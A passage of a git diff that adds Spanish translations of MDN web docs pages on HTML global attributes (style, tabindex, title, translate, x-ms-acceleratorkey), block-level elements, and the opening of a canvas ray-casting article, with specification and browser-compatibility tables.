+<p><strong>Nota de uso : </strong>Este atributo no debe de ser usado para comunicar información semántica . Incluso si todo el estilo es removido , una página debería mantenerse semánticamente correcta . Típicamente no debe de ser usado para ocultar información irrelevante ; esto debe de hacerse usando el atributo <a href="/en-US/docs/Web/HTML/Global_attributes/style$translate?tolocale=es#attr-hidden">hidden</a> .</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "dom.html#the-style-attribute", "style")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Sin cambio desde el último  snapshot, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "dom.html#the-style-attribute", "style")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot de {{SpecName('HTML WHATWG')}}, sin  cambio desde {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "dom.html#the-style-attribute", "style")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot de {{SpecName('HTML WHATWG')}}. Desde {{SpecName("HTML4.01")}}, es ahora un verdadero atributo global .</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'present/styles.html#h-14.2.2', 'style')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Soportado en todos los elementos menos en  {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}}, y {{HTMLElement("title")}}.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName("CSS3 Style", "", "") }}</td>
+   <td>{{Spec2("CSS3 Style")}}</td>
+   <td>Define el contenido del atributo <strong>style </strong>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_exploradores">Compatibilidad en exploradores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracterísitica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracterísitica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="sect1"> </h2>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/HTML/Atributos_Globales">atributos globales.</a></li>
+</ul>
diff --git a/files/es/web/html/atributos_globales/tabindex/index.html b/files/es/web/html/atributos_globales/tabindex/index.html
new file mode 100644
index 0000000000..2159639208
--- /dev/null
+++ b/files/es/web/html/atributos_globales/tabindex/index.html
@@ -0,0 +1,118 @@
+---
+title: tabindex
+slug: Web/HTML/Atributos_Globales/tabindex
+tags:
+  - Atributos globales
+  - HTML
+  - Referencia
+translation_of: Web/HTML/Global_attributes/tabindex
+---
+<p>{{HTMLSidebar("Global_attributes")}}</p>
+
+<p class="note">Nota: El valor máximo para tabindex no debe de exceder 32767 (<a href="https://www.w3.org/TR/html401/interact/forms.html#h-17.11.1">sección 17.11.1 del W3C</a>). Si no se especifica, el valor asignado por defecto es -1.</p>
+
+<p><a href="https://www.w3.org/TR/html401/interact/forms.html#h-17.11.1">El </a><a href="/es/docs/Web/HTML/Atributos_Globales">atributo global</a> <strong>tabindex </strong>indica si su elemento puede ser enfocado, y si participa en la navegación secuencial del teclado (usualmente con la tecla <em>Tab</em>, de ahí el nombre). Acepta un entero como valor, con diferentes resultados que dependen de dicho valor:</p>
+
+<ul>
+ <li>un <em>valor negativo </em>(usualmente tabindex="-1")<em> </em>significa que el elemento debe ser enfocado, pero no debe de ser accesible a través de la navegación secuencial del teclado. Es útil para crear widgets accesibles con JavaScript.</li>
+ <li>tabindex="0" significa que el elemento debe ser enfocado y ser accesible a través de la navegación secuencial del teclado, pero su orden relativo es definido por convención de la plataforma.</li>
+ <li>un <em>valor positivo</em> significa que debe poder recoger el foco y alcanzable a través de la navegación secuencial del teclado; su orden relativo es definido por el valor del atributo: la secuencia sigue el aumento del número de <strong>tabindex</strong>. Si varios elementos comparten el mismo tabindex, su orden relativo sigue la posición relativa en el documento.</li>
+ <li>Un elemento con valor 0, un valor inválido o sin valor de <strong>tabindex</strong>, debe de ser posicionado después de elementos con un <strong>tabindex </strong>postivo en el orden de navegación secuencial del teclado.</li>
+</ul>
+
+<p>Puede consultar <a href="/en/Focus_management_in_HTML">este artículo </a>para ver una explicación compresiva de la administración de la recepción de foco.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "editing.html#attr-tabindex", "tabindex")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Sin cambio desde el último snapshot, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "editing.html#attr-tabindex", "tabindex")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot de {{SpecName('HTML WHATWG')}}, sin cambio desde {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "editing.html#attr-tabindex", "tabindex")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot de {{SpecName('HTML WHATWG')}}. Desde {{SpecName("HTML4.01")}}, el atributo es ahora soportado en todos los elementos  (atributos globales).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#adef-tabindex', 'tabindex')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Solo soportado en {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("button")}}, {{HTMLElement("object")}}, {{HTMLElement("select")}}, y {{HTMLElement("textarea")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_exploradores">Compatibilidad en exploradores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+
+
+<p><span style="font-size: 30.002px; letter-spacing: -1px; line-height: 30.002px;"><strong>Ver también </strong></span></p>
+
+<ul>
+ <li><a href="/es/docs/Web/HTML/Atributos_Globales">atributos globales</a> .</li>
+ <li>{{domxref("HTMLElement.tabindex")}} que refleja este atributo .</li>
+</ul>
diff --git a/files/es/web/html/atributos_globales/title/index.html b/files/es/web/html/atributos_globales/title/index.html
new file mode 100644
index 0000000000..ab8e0dd92f
--- /dev/null
+++ b/files/es/web/html/atributos_globales/title/index.html
@@ -0,0 +1,138 @@
+---
+title: title
+slug: Web/HTML/Atributos_Globales/title
+tags:
+  - Atributos globales
+  - HTML
+  - Referencia
+translation_of: Web/HTML/Global_attributes/title
+---
+<p class="note">{{HTMLSidebar("Global_attributes")}}</p>
+
+<p>El <a href="/es/docs/Web/HTML/Atributos_Globales">atributo global </a><strong>title </strong>contiene un texto representado información relacionada al elemento al cual pertenece . Tal información puede típicamente , pero no necesariamente , ser presentada al usuario como un tip . Aquí hay algunos usos típicos para este atributo :</p>
+
+<ul>
+ <li>Vínculo : el título o la descripción del documento vinculado </li>
+ <li>Elemento mediático como una imagen : una descripción o créditos asociados</li>
+ <li>Párrafo : una nota de pié de página o comentario acerca de este </li>
+ <li>Cita : alguna información sobre el autor y otros datos .</li>
+</ul>
+
+<p>Si este atributo es omitido  , significa que el título del ancestro más cercano de este elemento es todavía relevante para este (puede usarse legítimamente como un tip para ese elemento ) . Si el atributo es establecido como la <em>cadena vacía </em>, significa explícitamente que el título de su ancestro más  cercano no es relevante para este elemento ( y no debería de usarse en el tip para ese elemento )</p>
+
+<p>Semánticas adicionales se adjuntan a los atributos de <strong>title </strong>de los elementos {{ HTMLElement("link") }}, {{ HTMLElement("abbr") }}, {{ HTMLElement("input") }} y {{ HTMLElement("menuitem") }} </p>
+
+<p>El atributo <strong>title </strong>puede contener varias líneas . Cada  <code>U+000A LINE FEED</code> (<code>LF</code>) insertada representa una línea nueva . Se debe tener precaución ya que esto significa que :</p>
+
+<pre class="brush: html">&lt;p&gt;Líneas nuevas en title deben de tomarse en cuenta , como esta &lt;abbr title="Este es un título multilínea"&gt;ejemplo &lt;/abbr&gt;.&lt;/p&gt;
+</pre>
+
+<p>define un título de dos líneas .</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "elements.html#the-title-attribute", "title")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Sin cambio desde el último snapshot, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "dom.html#the-title-attribute", "title")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot de {{SpecName('HTML WHATWG')}}, sin cambio desde {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "dom.html#the-title-attribute", "title")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of {{SpecName('HTML WHATWG')}}. Desde {{SpecName("HTML4.01")}}, es ahora  un verdadero atributo global.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#adef-title', 'title')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Soportado en todos los elementos pero no en {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}}, y {{HTMLElement("title")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_exploradores">Compatibilidad en exploradores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Soporte multi línea</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(12)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Soporte multi línea</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(12)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/HTML/Atributos_Globales">atributos globales</a> .</li>
+ <li>{{domxref("HTMLElement.title")}} que refleja a este atributo .</li>
+</ul>
diff --git a/files/es/web/html/atributos_globales/translate/index.html b/files/es/web/html/atributos_globales/translate/index.html
new file mode 100644
index 0000000000..5182acec3c
--- /dev/null
+++ b/files/es/web/html/atributos_globales/translate/index.html
@@ -0,0 +1,103 @@
+---
+title: translate
+slug: Web/HTML/Atributos_Globales/translate
+tags:
+  - Atributos globales
+  - Experimental
+  - HTML
+  - Referencia
+translation_of: Web/HTML/Global_attributes/translate
+---
+<p class="note">{{HTMLSidebar("Global_attributes")}}{{SeeCompatTable}}</p>
+
+<p>El <a href="/es/docs/Web/HTML/Atributos_Globales">atributo global</a> <strong>translate </strong> es un atributo enumerado que es usado para especificar si los valores del atributo de un elemento y los valores de sus nodos hijos de <a href="https://html.spec.whatwg.org/multipage/infrastructure.html#text">Texto</a> serán traducidos cuando la página es localizada , o si se debe de dejarlos sin cambio . Puede tener los siguientes valores : </p>
+
+<ul>
+ <li>Cadena vacía y "yes" , que indica que el elemento debe de ser traducido cuando la página es localizada .</li>
+ <li>"no", que indica que el elemento no debe de ser traducido .</li>
+</ul>
+
+<p> </p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "dom.html#attr-translate", "translate")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Sin cambio desde el último snapshot, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "dom.html#the-translate-attribute", "translate")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot de {{SpecName('HTML WHATWG')}}, definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_exploradores">Compatibilidad en exploradores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="sect1"> </h2>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/HTML/Atributos_Globales">atributos globales  </a></li>
+ <li>La propiedad  {{domxref("HTMLElement.translate")}} que refleja a este atributo </li>
+</ul>
diff --git a/files/es/web/html/atributos_globales/x-ms-acceleratorkey/index.html b/files/es/web/html/atributos_globales/x-ms-acceleratorkey/index.html
new file mode 100644
index 0000000000..26cf4a2599
--- /dev/null
+++ b/files/es/web/html/atributos_globales/x-ms-acceleratorkey/index.html
@@ -0,0 +1,32 @@
+---
+title: x-ms-acceleratorkey
+slug: Web/HTML/Atributos_Globales/x-ms-acceleratorkey
+translation_of: Web/HTML/Global_attributes/x-ms-acceleratorkey
+---
+<div>{{HTMLSidebar("Global_attributes")}}{{Non-standard_Header}}</div>
+
+<p> </p>
+
+<p><font><font>La </font></font><code><strong>x-ms-acceleratorkey</strong></code><font><font>propiedad proporciona una forma de declarar que una tecla de aceleración se ha asignado a un elemento.</font></font></p>
+
+<p><font><font>Esta propiedad propietaria es específica de Internet Explorer y Microsoft Edge.</font></font></p>
+
+<p><font><font>La </font></font><code>x-ms-acceleratorkey</code><font><font>propiedad le permite exponer una notificación en el árbol de accesibilidad a los lectores de pantalla y otras tecnologías de asistencia de que existe una clave de aceleración. </font><font>Este atributo no proporciona el comportamiento de la clave del acelerador. </font><font>Debe proporcionar controladores de eventos de teclado, como por ejemplo </font></font><code>onkeypress</code><font><font>, </font></font><code>onkeydown</code><font><font>o </font></font><code>onkeyup</code><font><font>, para procesar las teclas de aceleración en el documento.</font></font></p>
+
+<p> </p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: html">&lt;button x-ms-acceleratorkey="string"&gt;...&lt;/button&gt;</pre>
+
+<h2 id="Valor">Valor</h2>
+
+<p>Tipo: <strong>String</strong></p>
+
+<p>Nombre de la tecla de aceleración, por ejemplo: <code><em>Ctrl+B</em> or <em>Ctrl+S</em></code>.</p>
+
+<h2 id="See_Also" name="See_Also">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Microsoft_API_extensions">Microsoft API extensions </a></li>
+</ul>
diff --git a/files/es/web/html/block-level_elements/index.html b/files/es/web/html/block-level_elements/index.html
new file mode 100644
index 0000000000..763c105213
--- /dev/null
+++ b/files/es/web/html/block-level_elements/index.html
@@ -0,0 +1,130 @@
+---
+title: Elementos en bloque
+slug: Web/HTML/Block-level_elements
+tags:
+  - Guía
+  - HTML
+  - HTML5
+  - Principiante
+  - Web
+  - desarrollo
+translation_of: Web/HTML/Block-level_elements
+---
+<p><span class="seoSummary">Los elementos, en HTML (lenguaje de marcas de hipertexto - <strong>Hypertext Markup Language</strong>) usualmente son elementos "en bloque" o <a href="/es/docs/Web/HTML/Elementos_en_línea" title="/es/docs/Web/HTML/Elementos_en_línea">elementos "en línea"</a>. Un elemento en bloque ocupa todo el espacio de su elemento padre (contenedor), creando así un "bloque". Este artículo ayuda a explicar lo que esto significa.</span></p>
+
+<p>Los navegadores suelen mostrar el elemento a nivel de bloque con un salto de línea antes y después del elemento. El siguiente ejemplo demuestra la influencia elementos en bloque:</p>
+
+<h2 id="Block-level_Example" name="Block-level_Example"><span style="color: #333333; margin-left: -3px; text-transform: none;">Ejemplo en bloque</span></h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Este párrafo es un elemento en bloque; este fondo se ha coloreado para mostrar elemento principal (o padre) del párrafo.&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p { background-color: #8ABB55; }
+</pre>
+
+<p>{{ EmbedLiveSample('Block-level_Example') }}</p>
+
+<h2 id="Uso">Uso</h2>
+
+<ul>
+ <li>Los elementos de bloque sólo deben aparecer dentro del elemento {{ HTMLElement("body") }}.</li>
+</ul>
+
+<h2 id="Elmentos_en_bloque_vs._en_línea">Elmentos en bloque vs. en línea</h2>
+
+<p>Hay un par de diferencias clave entre los elementos en bloque y elementos en línea:</p>
+
+<dl>
+ <dt>Formateo</dt>
+ <dd>De forma predeterminada, los elementos de bloque comienzan en una nueva línea, pero los elementos en línea pueden comenzar en cualquier parte de una línea.</dd>
+ <dt>Modelo de contenido</dt>
+ <dd>En general, los elementos en bloque pueden contener elementos en línea y otros elementos en bloque. Inherente a esta distinción estructural es la idea de que los elementos en bloque crean estructuras "más grandes" que los elementos en línea.</dd>
+</dl>
+
+<p>La distinción entre elementos en bloque frente a elementos en línea se utiliza en las especificaciones de HTML hasta la 4.01. En HTML5, esta distinción dual se sustituye por un conjunto más complejo de <a href="/es/docs/Web/Guide/HTML/categorias_de_contenido" title="/es/docs/Web/Guide/HTML/categorias_de_contenido">categorías de contenido</a>. La categoría "en bloque" corresponde aproximadamente a la categoría de <a href="/es/docs/Web/Guide/HTML/categorias_de_contenido#Contenido_dinámico" title="/es/docs/Web/Guide/HTML/categorias_de_contenido#Contenido_dinámico">contenido dinámico</a> en HTML 5, mientras que "en línea" se corresponde con <a href="/es/docs/Web/Guide/HTML/categorias_de_contenido#Contenido_textual_o_est%C3%A1tico" title="/es/docs/Web/Guide/HTML/categorias_de_contenido#Contenido_textual_o_est%C3%A1tico">contenido estático</a>, pero hay categorías adicionales.</p>
+
+<h2 id="Elementos">Elementos</h2>
+
+<p>La siguiente es una lista completa de todos los elementos en bloque de HTML (aunque "en bloque" no se define técnicamente para los elementos que son nuevos en HTML5).</p>
+
+<div class="threecolumns">
+<dl>
+ <dt>{{ HTMLElement("address") }}</dt>
+ <dd>Información de contacto.</dd>
+ <dt>{{ HTMLElement("article") }} {{ HTMLVersionInline(5) }}</dt>
+ <dd>Contenido de Articulo.</dd>
+ <dt>{{ HTMLElement("aside") }} {{ HTMLVersionInline(5) }}</dt>
+ <dd>Contenido adicional.</dd>
+ <dt>{{ HTMLElement("audio") }} {{ HTMLVersionInline(5) }}</dt>
+ <dd>Reproductor de audio</dd>
+ <dt>{{ HTMLElement("blockquote") }}</dt>
+ <dd>Bloque de "cita".</dd>
+ <dt>{{ HTMLElement("canvas") }} {{ HTMLVersionInline(5) }}</dt>
+ <dd>Dibujo canvas.</dd>
+ <dt>{{ HTMLElement("dd") }}</dt>
+ <dd>Descripción de definición.</dd>
+ <dt>{{ HTMLElement("div") }}</dt>
+ <dd>División de documento.</dd>
+ <dt>{{ HTMLElement("dl") }}</dt>
+ <dd>Lista de definición.</dd>
+ <dt>{{ HTMLElement("fieldset") }}</dt>
+ <dd>Etiqueta de conjunto de campos.</dd>
+</dl>
+
+<dl>
+ <dt>{{ HTMLElement("figcaption") }} {{ HTMLVersionInline(5) }}</dt>
+ <dd>Leyenda de figura.</dd>
+ <dt>{{ HTMLElement("figure") }} {{ HTMLVersionInline(5) }}</dt>
+ <dd>Grupos contenido multimedia con una leyenda (ver {{ HTMLElement("figcaption") }}).</dd>
+ <dt>{{ HTMLElement("footer") }} {{ HTMLVersionInline(5) }}</dt>
+ <dd>Sección o pie de página.</dd>
+ <dt>{{ HTMLElement("form") }}</dt>
+ <dd>Formulario de entrada.</dd>
+ <dt>{{ HTMLElement("h1") }}, {{ HTMLElement("h2") }}, {{ HTMLElement("h3") }}, {{ HTMLElement("h4") }}, {{ HTMLElement("h5") }}, {{ HTMLElement("h6") }}</dt>
+ <dd>Niveles de cabecera 1-6.</dd>
+ <dt>{{ HTMLElement("header") }} {{ HTMLVersionInline(5) }}</dt>
+ <dd>Sección o cabecera de página.</dd>
+ <dt>{{ HTMLElement("hgroup") }} {{ HTMLVersionInline(5) }}</dt>
+ <dd>Grupos información de encabezado.</dd>
+ <dt>{{ HTMLElement("hr") }}</dt>
+ <dd>Regla Horizontal (línea divisoria).</dd>
+ <dt>{{ HTMLElement("li") }}</dt>
+ <dd>Elemento de lista.</dd>
+ <dt>{{ HTMLElement("main") }}</dt>
+ <dd>Engloba el único contenido central del documento.</dd>
+ <dt>{{ HTMLElement("nav") }}</dt>
+ <dd>Contiene enlaces de navegación.</dd>
+</dl>
+
+<dl>
+ <dt>{{ HTMLElement("noscript") }}</dt>
+ <dd>Contenido para ser usado si los scripts no son soportados o permitidos.</dd>
+ <dt>{{ HTMLElement("ol") }}</dt>
+ <dd>Lista ordenada.</dd>
+ <dt>{{ HTMLElement("output") }} {{ HTMLVersionInline(5) }}</dt>
+ <dd>Formulario de salida.</dd>
+ <dt>{{ HTMLElement("p") }}</dt>
+ <dd>Párrafo.</dd>
+ <dt>{{ HTMLElement("pre") }}</dt>
+ <dd>Texto preformateado.</dd>
+ <dt>{{ HTMLElement("section") }} {{ HTMLVersionInline(5) }}</dt>
+ <dd>Sección de una página web.</dd>
+ <dt>{{ HTMLElement("table") }}</dt>
+ <dd>Tabla.</dd>
+ <dt>{{ HTMLElement("tfoot") }}</dt>
+ <dd>Pie de tabla.</dd>
+ <dt>{{ HTMLElement("ul") }}</dt>
+ <dd>Lista no ordenada.</dd>
+ <dt>{{ HTMLElement("video") }} {{ HTMLVersionInline(5) }}</dt>
+ <dd>Reproductor de vídeo.</dd>
+</dl>
+</div>
+
+<h3 id="Ver_también" name="Ver_también">Ver también</h3>
+
+<ul>
+ <li><a href="/es/docs/Web/HTML/Elementos_en_línea" title="/es/docs/Web/HTML/Elementos_en_línea">Elementos en línea</a></li>
+</ul>
diff --git a/files/es/web/html/canvas/a_basic_ray-caster/index.html b/files/es/web/html/canvas/a_basic_ray-caster/index.html
new file mode 100644
index 0000000000..7917541554
--- /dev/null
+++ b/files/es/web/html/canvas/a_basic_ray-caster/index.html
@@ -0,0 +1,59 @@
+---
+title: A basic ray-caster
+slug: Web/HTML/Canvas/A_basic_ray-caster
+tags:
+  - Avanzado
+  - Canvas
+  - Ejemplo
+  - Espanol(2)
+  - Gráficos(2)
+  - HTML
+  - Necesita traducción
+  - Web
+translation_of: Web/API/Canvas_API/A_basic_ray-caster
+---
+<div>{{CanvasSidebar}}</div>
+
+<div class="summary">
+<p>Este artículo proporciona un interesante ejemplo de la vida real usando el elemento {{HTMLElement("canvas")}} para renderizar un sencillo entorno 3D usando una técnica de render llamada ray-casting.</p>
+</div>
+
+<p>{{EmbedGHLiveSample("canvas-raycaster/index.html", 900, 300)}}</p>
+
+<p><strong><a href="http://mdn.github.io/canvas-raycaster/">Abrir en una nueva ventana</a></strong></p>
+
+<h2 id="Why.3F" name="Why.3F">¿Por qué?</h2>
+
+<p> </p>
+
+<p>Después de darme cuenta, para mi satisfacción, de que el ingenioso elemento &lt;canvas&gt; sobre el que había estado leyendo, no sólo iba a recibir soporte por parte de Firefox, sino que <strong>ya estaba</strong> soportado por la versión actual de Safari, así que tenía que ponerme manos a la obra y hacer un pequeño experimento.</p>
+
+<p>El <a href="https://developer.mozilla.org/en-US/docs/Canvas_tutorial">tutorial</a> y el <a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API">resumen</a> que encontré en la MDN son geniales, pero nadie había escrito nada (todavía) sobre animación, así que pensé que sería una buena oportunidad para portar un sencillo raycaster en el que había trabajado hacía tiempo y comprobar qué tipo de rendimiento podía esperar de un buffer de pixeles controlado por JavaScript.</p>
+
+<h2 id="How.3F" name="How.3F">¿Cómo?</h2>
+
+<p>La idea es sencilla, usar {{domxref("WindowTimers.setInterval","setInterval()")}} con un retraso arbitrario que se corresponde con la velocidad de fotogramas deseada. Por cada llamada al intervalo se ejecutará una función que volverá a pintar el elemento &lt;canvas&gt;  en el que se muestra la vista actual del usuario. Sé que podría haber empezado con un ejemplo más simple, pero creo que el <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Basic_animations">tutorial</a> sobre &lt;canvas&gt; vale para eso, y quería ver si podía hacer esto.</p>
+
